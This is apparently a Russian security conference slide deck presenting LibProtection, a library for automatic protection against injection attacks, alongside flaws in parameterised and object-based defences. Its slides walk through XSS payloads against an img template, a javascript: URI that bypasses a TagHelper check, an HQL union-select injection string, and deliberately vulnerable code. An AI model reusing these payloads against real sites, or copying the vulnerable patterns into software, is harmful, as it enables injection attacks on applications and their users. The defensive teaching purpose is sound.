  119. Заголовок Вот если бы существовала библиотека, принимающая на себя рутину

    по защите приложения от атак инъекций... Мечтать – не вредно
  120. Заголовок 01 Response.Write( 02 SafeString.Format<Html>( 03 $"<img src='//host/1/{a}' onclick='f({b})'/>" 04

    )); Например, вот так?
  121. Заголовок ptsecurity.com LibProtection

  122. Заголовок LibProtection – библиотека с открытым под MIT-лицензией кодом, позволяющая

    разработчикам: • полностью автоматизировать защиту от атак инъекций по достаточному критерию; • реализовывать защиту по необходимому критерию. https://github.com/LibProtection Что такое LibProtection? (1/3)
  123. Заголовок Для защиты от атак в LibProtection реализованы: • автоматическая

    санитизация данных в точках инъекций там, где это возможно; • автоматическая валидация данных в точках инъекций по достаточному критерию (детектирование атаки) там, где невозможна санитизация; • возможность переопределения функций валидации и санитизации для обеспечения необходимого критерия. Что такое LibProtection? (2/3)
  124. Заголовок Поддерживаемые языки: • .NET, C++, JVM, JavaScript (production-ready) •

    PHP, Pyton (2018) Поддерживаемые грамматики: SQL, HTML, JavaScript, CSS, URL, FilePath, XML, XPath Что такое LibProtection? (3/3)
  125. Заголовок LibProtection API: методы (.NET) // Форматирование строки с автоматической

    санитизацией и валидацией string SafeString<T>.Format(FormattableString formattable) string SafeString<T>.Format(string format, params object[] args) // Try-версия Format bool SafeString<T>.TryFormat(FormattableString formattable, out formatted) bool SafeString<T>.TryFormat(string format, out formatted, params object[] args) T ∈ { Sql, Html, JavaScript, Url, FilePath }
  126. Заголовок Как это работает (/9) 01 Response.Write( 02 SafeString.Format<Html>( 03

    $"<img src='//host/1/{a}' onclick='f({b})'/>" 04 ));
  127. Заголовок Как это работает (1/9) <img src='//host/1/{a}' onclick='f("{b}")'/>

  128. Заголовок Как это работает (2/9) 'onerror='alert(0) ");alert(0) <img src='//host/1/{a}' onclick='f("{b}")'/>

  129. Заголовок Как это работает (3/9) 'onerror='alert(0) ");alert(0) <img src='//host/1/{a}' onclick='f("{b}")'/>

    <img src='//host/1/'onerror='alert(0)' onclick='f("");alert(0)//")'/>
  130. Заголовок Как это работает (4/9) 'onerror='alert(0) ");alert(0) <img src='//host/1/{a}' onclick='f("{b}")'/>

    <img src='//host/1/'onerror='alert(0)' onclick='f("");alert(0)//")'/> < img src = ' // host / 1 / ' onerror = ' alert ( 0 ) ' onclick = ' f ( "" ) ; alert ( 0 ) //" ) ' />
  131. Заголовок Как это работает (5/9) 'onerror='alert(0) ");alert(0) <img src='//host/1/{a}' onclick='f("{b}")'/>

    <img src='//host/1/'onerror='alert(0)' onclick='f("");alert(0)//")'/> < img src = ' // host / 1 / ' onerror = ' alert ( 0 ) ' onclick = ' f ( "" ) ; alert ( 0 ) //" ) ' /> UrlEncode JavaScriptStringEncode
  132. Заголовок Как это работает (6/9) 'onerror='alert(0) ");alert(0) <img src='//host/1/{a}' onclick='f("{b}")'/>

    <img src='//host/1/'onerror='alert(0)' onclick='f("");alert(0)//")'/> < img src = ' // host / 1 / ' onerror = ' alert ( 0 ) ' onclick = ' f ( "" ) ; alert ( 0 ) //" ) ' /> UrlEncode JavaScriptStringEncode <img src='//host/1/{a}' onclick='f("{b}")'/>
  133. Заголовок Как это работает (7/9) 'onerror='alert(0) ");alert(0) <img src='//host/1/{a}' onclick='f("{b}")'/>

    <img src='//host/1/'onerror='alert(0)' onclick='f("");alert(0)//")'/> < img src = ' // host / 1 / ' onerror = ' alert ( 0 ) ' onclick = ' f ( "" ) ; alert ( 0 ) //" ) ' /> UrlEncode JavaScriptStringEncode <img src='//host/1/{a}' onclick='f("{b}")'/> <img src='//host/1/%27onerror%3D%27alert%280%29' onclick='f("\&quot;);alert(0)//")'/>
  134. Заголовок Как это работает (8/9) 'onerror='alert(0) ");alert(0) <img src='//host/1/{a}' onclick='f("{b}")'/>

    <img src='//host/1/'onerror='alert(0)' onclick='f("");alert(0)//")'/> < img src = ' // host / 1 / ' onerror = ' alert ( 0 ) ' onclick = ' f ( "" ) ; alert ( 0 ) //" ) ' /> UrlEncode JavaScriptStringEncode <img src='//host/1/{a}' onclick='f("{b}")'/> <img src='//host/1/%27onerror%3D%27alert%280%29' onclick='f("\&quot;);alert(0)//")'/> < img src = ' // host / 1 / %27onerror%3D%27alert%280%29 ' onclick = ' f ( "\&quot;);alert(0)//" ) ' />
  135. Заголовок Как это работает (9/9) 'onerror='alert(0) ");alert(0) <img src='//host/1/{a}' onclick='f("{b}")'/>

    <img src='//host/1/'onerror='alert(0)' onclick='f("");alert(0)//")'/> < img src = ' // host / 1 / ' onerror = ' alert ( 0 ) ' onclick = ' f ( "" ) ; alert ( 0 ) //" ) ' /> UrlEncode JavaScriptStringEncode <img src='//host/1/{a}' onclick='f("{b}")'/> <img src='//host/1/%27onerror%3D%27alert%280%29' onclick='f("\&quot;);alert(0)//")'/> < img src = ' // host / 1 / %27onerror%3D%27alert%280%29 ' onclick = ' f ( "\&quot;);alert(0)//" ) ' />
  136. Заголовок LibProtection API: форматные модификаторы // Отключение валидации и санитизации

    :safe // Переопределение валидатора :validate(method-name) method-name ∈ Func<string,bool> // Переопределение санитизатора :sanitize(method-name) method-name ∈ Func<string, string> // Переключение режима валидации :weak, :normal, :strong
  137. Заголовок Режимы валидации • ValidationMode.Weak • Подсчёт токенов • Проверка

    категорий токенов • ValidationMode.Normal • Подсчёт токенов • Проверка категорий токенов • Контроль запрещённых токенов • ValidationMode.Strong (по умолчанию) • Контроль запрещённых токенов • Подсчёт токенов • Проверка категорий токенов
  138. Заголовок Области применения LibProtection • Быстрый патчинг уязвимого кода, использующего

    форматные и интерполированные строки • Штатная защита кода там, где форматные строки или интерполяция неизбежны Что, если скрестить LibProtection и технологии SAST или DAST? ;)
  139. Заголовок Влияние на производительность Незначительно замедляется обработка запросов, непосредственно приводящих

    приложение в точку выполнения потенциально опасной операции: Штатный трафик Атаки +1..3% +3..5%
  140. Заголовок Демо

  141. Заголовок • «…достаточно банальные примеры, которые были бы актуальны несколько

    лет назад» • «…в целом доклад теряет свой смысл, если код написан без использования устаревших подходов» • «…[LibProtection] скорее для компаний, которые не заботятся о коде, живут в легаси-системах и не знают, что после .NET 2.0 выходили более новые версии, а .NET Core для них просто ругательство» По следам полученного фидбека (1/2)
  142. Заголовок • «…не рассказал как правильно делать, а просто рассказывал

    про то, как костылями можно дырки закрывать» • «…был задан правильный вопрос про то, что многие так уже не пишут, а используют объектный подход. Каких атак тогда опасаться?» По следам полученного фидбека (2/2)
  143. Заголовок Использование объектного подхода в борьбе с инъекциями

  144. Заголовок Реализовать в приложении ASP.NET Core MVC рендер ссылок, безопасно

    обрабатывающий некорректные URL и генерирующий для ссылок на внешние ресурсы вывод диалога с предупреждением. Проблема
  145. Заголовок public override void Process(TagHelperContext context, TagHelperOutput output) { var

    url = context.AllAttributes["href"].Value.ToString(); if (!Uri.IsWellFormedUriString(url, UriKind.RelativeOrAbsolute)) { throw new UriFormatException("Malformed URI"); } var uri = new Uri(url, UriKind.RelativeOrAbsolute); if (!uri.IsAbsoluteUri || RequestHost == uri.Host) { return; } var onclickHandler = $"return confirm('You are about visit an external link: {uri} Are you sure?')"; output.Attributes.SetAttribute("onclick", onclickHandler); } Решение: реализовать TagHelper для тегов <a>
  146. Заголовок DEMO

  147. Заголовок Причина уязвимости – вариативность грамматики URI javascript://localhost/?a=\r\nalert(1) System.Uri Browser

    javascript: Scheme javascript: Scheme // - (separator) //localhost/?a= JS-comment localhost Domain \r\n Line-feed / - (separator) alert(1) JS-expression ? - (separator) a=\r\nalert(1) Query-parameter
  148. Заголовок public override void Process(TagHelperContext context, TagHelperOutput output) { var

    url = context.AllAttributes["href"].Value.ToString(); if (!Uri.IsWellFormedUriString(url, UriKind.RelativeOrAbsolute)) { throw new UriFormatException("Malformed URI"); } var uri = new Uri(url, UriKind.RelativeOrAbsolute); if (!uri.IsAbsoluteUri || RequestHost == uri.Host) { return; } if (!Regex.IsMatch(uri.Scheme, "https?|ftp")) { throw new UriFormatException("Invalid scheme"); } var onclickHandler = $"return confirm('You are about visit an external link: {uri} Are you sure?')"; output.Attributes.SetAttribute("onclick", onclickHandler); } Устранение уязвимости
  149. Заголовок Какими будут URL создаваемые с помощью new Uri("/path", <UriKind>)

    ? http://www.mono-project.com/docs/faq/known-issues/urikind-relativeorabsolute/ https://github.com/dotnet/corefx/issues/22098 Ещё немного о объектном подходе на примере System.Uri .ctor .NET 4.7, .NET Core 2.0, Mono 5.4 (Windows) .NET Core 2.0 (Linux) Mono 5.4 (Linux) new Uri("/path", UriKind.Absolute) Исключение Абсолютный Абсолютный new Uri("/path", UriKind.Relative) Относительный Исключение Относительный new Uri("/path", UriKind.RelativeOrAbsolute) Относительный Относительный Абсолютный
  150. Заголовок Кстати, о LibProtection (aka «костыльном подходе») private static string

    BuildSafeLinkTag(string url, string text, string localhost) { var uri = new Uri(url, UriKind.RelativeOrAbsolute); var clickHandler = uri.IsAbsoluteUri && localhost != uri.Host ? $"return confirm('Are you sure you want to follow this link: {uri} ?')" : "return true"; return SafeString.Format<Html>( $"<a href='{uri}' onclick='{clickHandler:safe}'>{text}</a>" ); }
  151. Заголовок Инъекция SQL через HQL

  152. Заголовок Инъекция SQL через HQL (1/2) public class SessionCreateQueryController implements

    Controller{ @Override public ModelAndView handleRequest(HttpServletRequest request, HttpServletResponse response) throws Exception { ModelAndView mv = new ModelAndView("user"); String name = request.getParameter("name"); try { Session session = HibernateUtil.getSessionFactory().openSession(); session.beginTransaction(); List result = session.createQuery("from UsersEntity where uname = '" + name + "'").list(); mv.addObject("users", result); session.getTransaction().commit(); } catch (Exception e) { e.printStackTrace(); } return mv; } }
  153. Заголовок Инъекция SQL через HQL (2/2) public class SessionCreateQueryController implements

    Controller{ @Override public ModelAndView handleRequest(HttpServletRequest request, HttpServletResponse response) throws Exception { ModelAndView mv = new ModelAndView("user"); String name = request.getParameter("name"); try { Session session = HibernateUtil.getSessionFactory().openSession(); session.beginTransaction(); List result = session.createQuery("from UsersEntity where uname = '" + name + "'").list(); mv.addObject("users", result); session.getTransaction().commit(); } catch (Exception e) { e.printStackTrace(); } return mv; } } name = 1' and '1 \''=1 union select version(), 2, 3, 4 -- '='1
  154. Заголовок Интерполяция строк в Entity Framework

  155. Заголовок Что не так с каждым из примеров кода? (1/2)

    db.ExecuteSqlCommand($"delete from Log where Time<{time}"); db.ExecuteSqlCommand(useLogA ? $"delete from LogA where Time<{time}" : $"delete from LogB where Time<{time}"); db.ExecuteSqlCommand( $"delete from Log " + $"where Time<{time}");
  156. Заголовок Что не так с каждым из примеров кода? (2/2)

    db.ExecuteSqlCommand($"delete from Log where Time<{time}"); db.ExecuteSqlCommand(useLogA ? $"delete from LogA where Time<{time}" : $"delete from LogB where Time<{time}"); db.ExecuteSqlCommand( $"delete from Log " + $"where Time<{time}");
  157. Заголовок • Средства параметризации и объектного подхода: • всего лишь

    частный случай типизации в рамках борьбы с инъекциями; • не всегда существуют или применимы и не являются панацеей; • могут содержать неоднозначности, уязвимости и ошибки в своём коде; • часто требуют от разработчика доскональных знаний грамматик и деталей своей реализации. • Думать всё равно придётся  (даже, в случае с LibProtection) Вся правда о «современных средствах разработки»
  158. Заголовок ptsecurity.com Спасибо! Спасибо!